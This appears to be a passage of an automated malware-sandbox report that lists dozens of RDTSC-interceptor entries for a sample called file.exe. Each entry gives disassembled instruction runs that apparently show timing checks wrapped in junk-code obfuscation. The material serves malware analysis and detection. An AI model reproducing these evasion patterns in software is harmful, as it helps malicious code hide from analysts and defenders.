Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DC6A1 second address: 7DC6A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF525 second address: 7DF529 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF529 second address: 7DF532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF532 second address: 7DF53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB005A second address: 4EB0087 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8F08BF29CDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0087 second address: 4EB00AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68351h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8F08E6834Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB00AB second address: 4EB0140 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8F08BF29D1h 0x00000009 or esi, 7AF63F76h 0x0000000f jmp 00007F8F08BF29D1h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F8F08BF29D0h 0x0000001b xor ax, 0C98h 0x00000020 jmp 00007F8F08BF29CBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, ebp 0x0000002a jmp 00007F8F08BF29D6h 0x0000002f mov ebp, esp 0x00000031 jmp 00007F8F08BF29D0h 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F8F08BF29D7h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0140 second address: 4EB0146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90EE5 second address: 4E90F3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F8F08BF29CEh 0x00000010 jmp 00007F8F08BF29D2h 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007F8F08BF29CBh 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F8F08BF29D5h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90F3A second address: 4E90F79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68351h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F8F08E6834Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8F08E68357h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90F79 second address: 4E90F7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90F7E second address: 4E90F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0008 second address: 4EE000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE000C second address: 4EE0012 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0012 second address: 4EE0017 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70097 second address: 4E700A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F08E6834Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E700A6 second address: 4E700AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E700AA second address: 4E700C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8F08E6834Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E700C3 second address: 4E700D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E700D2 second address: 4E700D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E700D8 second address: 4E700DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E700DC second address: 4E700FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c mov bx, 43C0h 0x00000010 mov si, di 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push ecx 0x0000001a pop edi 0x0000001b mov si, DD8Fh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E700FC second address: 4E70102 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90CBA second address: 4E90CC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9080E second address: 4E90814 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90814 second address: 4E9084F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E6834Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F8F08E68352h 0x00000015 and cx, A2C8h 0x0000001a jmp 00007F8F08E6834Bh 0x0000001f popfd 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9084F second address: 4E90896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F8F08BF29D6h 0x0000000b sub ecx, 31D72528h 0x00000011 jmp 00007F8F08BF29CBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F8F08BF29D5h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9070C second address: 4E90731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68351h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8F08E6834Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90731 second address: 4E90736 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90736 second address: 4E90755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 3E40h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F8F08E6834Bh 0x00000014 mov si, 1A0Fh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90468 second address: 4E9046C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9046C second address: 4E90472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90472 second address: 4E9048E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, di 0x00000010 mov dh, FFh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9048E second address: 4E904DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8F08E68351h 0x00000008 pushfd 0x00000009 jmp 00007F8F08E68350h 0x0000000e sub si, 14F8h 0x00000013 jmp 00007F8F08E6834Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007F8F08E68352h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E904DF second address: 4E904E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E904E4 second address: 4E904F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F08E6834Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E904F4 second address: 4E90544 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov eax, ebx 0x0000000c jmp 00007F8F08BF29D9h 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 jmp 00007F8F08BF29CEh 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F8F08BF29D7h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0EEE second address: 4ED0EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0EF2 second address: 4ED0EF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0EF8 second address: 4ED0F0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F08E68353h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0F0F second address: 4ED0F13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0472 second address: 4EB04AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, E2E4h 0x00000007 pushfd 0x00000008 jmp 00007F8F08E6834Dh 0x0000000d jmp 00007F8F08E6834Bh 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 call 00007F8F08E68354h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB04AE second address: 4EB04D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dx, 6574h 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8F08BF29D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90667 second address: 4E9067B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F08E68350h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9067B second address: 4E906BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F8F08BF29D7h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 movzx ecx, di 0x00000014 mov si, bx 0x00000017 popad 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F8F08BF29D6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E906BE second address: 4E906C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E906C4 second address: 4E906C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0DD0 second address: 4EA0DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0DD4 second address: 4EA0DE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0DE8 second address: 4EA0E40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8F08E68351h 0x00000009 sub cx, 6466h 0x0000000e jmp 00007F8F08E68351h 0x00000013 popfd 0x00000014 movzx esi, dx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov si, 7E25h 0x00000020 mov ah, D7h 0x00000022 popad 0x00000023 mov dword ptr [esp], ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F8F08E68358h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0E40 second address: 4EA0EA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 38D0C114h 0x00000008 pushfd 0x00000009 jmp 00007F8F08BF29CDh 0x0000000e sbb eax, 731C65D6h 0x00000014 jmp 00007F8F08BF29D1h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebp, esp 0x0000001f jmp 00007F8F08BF29CEh 0x00000024 pop ebp 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F8F08BF29CEh 0x0000002c or ax, FB28h 0x00000031 jmp 00007F8F08BF29CBh 0x00000036 popfd 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a pop edi 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB02AE second address: 4EB0324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8F08E68358h 0x00000009 adc ecx, 184F6918h 0x0000000f jmp 00007F8F08E6834Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F8F08E68358h 0x0000001b sbb al, 00000078h 0x0000001e jmp 00007F8F08E6834Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 push eax 0x00000028 pushad 0x00000029 push ebx 0x0000002a push eax 0x0000002b pop edi 0x0000002c pop eax 0x0000002d mov bl, 11h 0x0000002f popad 0x00000030 xchg eax, ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov dh, 94h 0x00000036 call 00007F8F08E6834Ch 0x0000003b pop eax 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED06F5 second address: 4ED0747 instructions: 0x00000000 rdtsc 0x00000002 mov ax, 8587h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov dx, cx 0x0000000e pushfd 0x0000000f jmp 00007F8F08BF29D4h 0x00000014 jmp 00007F8F08BF29D5h 0x00000019 popfd 0x0000001a popad 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F8F08BF29D3h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0747 second address: 4ED074B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED074B second address: 4ED0751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0751 second address: 4ED0760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F08E6834Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0760 second address: 4ED0843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F8F08BF29D5h 0x0000000e mov ebp, esp 0x00000010 jmp 00007F8F08BF29CEh 0x00000015 xchg eax, ecx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F8F08BF29CEh 0x0000001d adc ax, 1CB8h 0x00000022 jmp 00007F8F08BF29CBh 0x00000027 popfd 0x00000028 mov ah, 4Ch 0x0000002a popad 0x0000002b push eax 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F8F08BF29D0h 0x00000033 xor ax, 5718h 0x00000038 jmp 00007F8F08BF29CBh 0x0000003d popfd 0x0000003e call 00007F8F08BF29D8h 0x00000043 jmp 00007F8F08BF29D2h 0x00000048 pop eax 0x00000049 popad 0x0000004a xchg eax, ecx 0x0000004b jmp 00007F8F08BF29D1h 0x00000050 mov eax, dword ptr [778165FCh] 0x00000055 jmp 00007F8F08BF29CEh 0x0000005a test eax, eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F8F08BF29D7h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0843 second address: 4ED0849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0849 second address: 4ED084D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED084D second address: 4ED0861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F8F7B72B457h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0861 second address: 4ED0879 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0879 second address: 4ED087F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED087F second address: 4ED0898 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8F08BF29CBh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0898 second address: 4ED089C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED089C second address: 4ED08A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED08A2 second address: 4ED08A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED08A8 second address: 4ED08AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED08AC second address: 4ED08CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8F08E68356h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED08CF second address: 4ED08F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8F08BF29D5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED08F8 second address: 4ED0917 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007F8F08E6834Eh 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0917 second address: 4ED091C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED091C second address: 4ED0978 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E6834Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a jmp 00007F8F08E68350h 0x0000000f retn 0004h 0x00000012 nop 0x00000013 mov esi, eax 0x00000015 lea eax, dword ptr [ebp-08h] 0x00000018 xor esi, dword ptr [00532014h] 0x0000001e push eax 0x0000001f push eax 0x00000020 push eax 0x00000021 lea eax, dword ptr [ebp-10h] 0x00000024 push eax 0x00000025 call 00007F8F0D848C98h 0x0000002a push FFFFFFFEh 0x0000002c pushad 0x0000002d mov bl, cl 0x0000002f push edx 0x00000030 jmp 00007F8F08E68356h 0x00000035 pop ecx 0x00000036 popad 0x00000037 pop eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F8F08E68353h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0978 second address: 4ED0995 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0995 second address: 4ED09DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68351h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b push eax 0x0000000c call 00007F8F0D848CFAh 0x00000011 mov edi, edi 0x00000013 jmp 00007F8F08E6834Eh 0x00000018 xchg eax, ebp 0x00000019 jmp 00007F8F08E68350h 0x0000001e push eax 0x0000001f jmp 00007F8F08E6834Bh 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED09DF second address: 4ED0A0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c movzx eax, di 0x0000000f mov di, 95CCh 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F8F08BF29CDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0A0D second address: 4ED0A13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80038 second address: 4E800AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8F08BF29CFh 0x00000009 xor ch, 0000006Eh 0x0000000c jmp 00007F8F08BF29D9h 0x00000011 popfd 0x00000012 movzx ecx, di 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 jmp 00007F8F08BF29CAh 0x0000001e xchg eax, ebp 0x0000001f jmp 00007F8F08BF29D0h 0x00000024 mov ebp, esp 0x00000026 jmp 00007F8F08BF29D0h 0x0000002b and esp, FFFFFFF8h 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 call 00007F8F08BF29CCh 0x00000036 pop esi 0x00000037 rdtsc
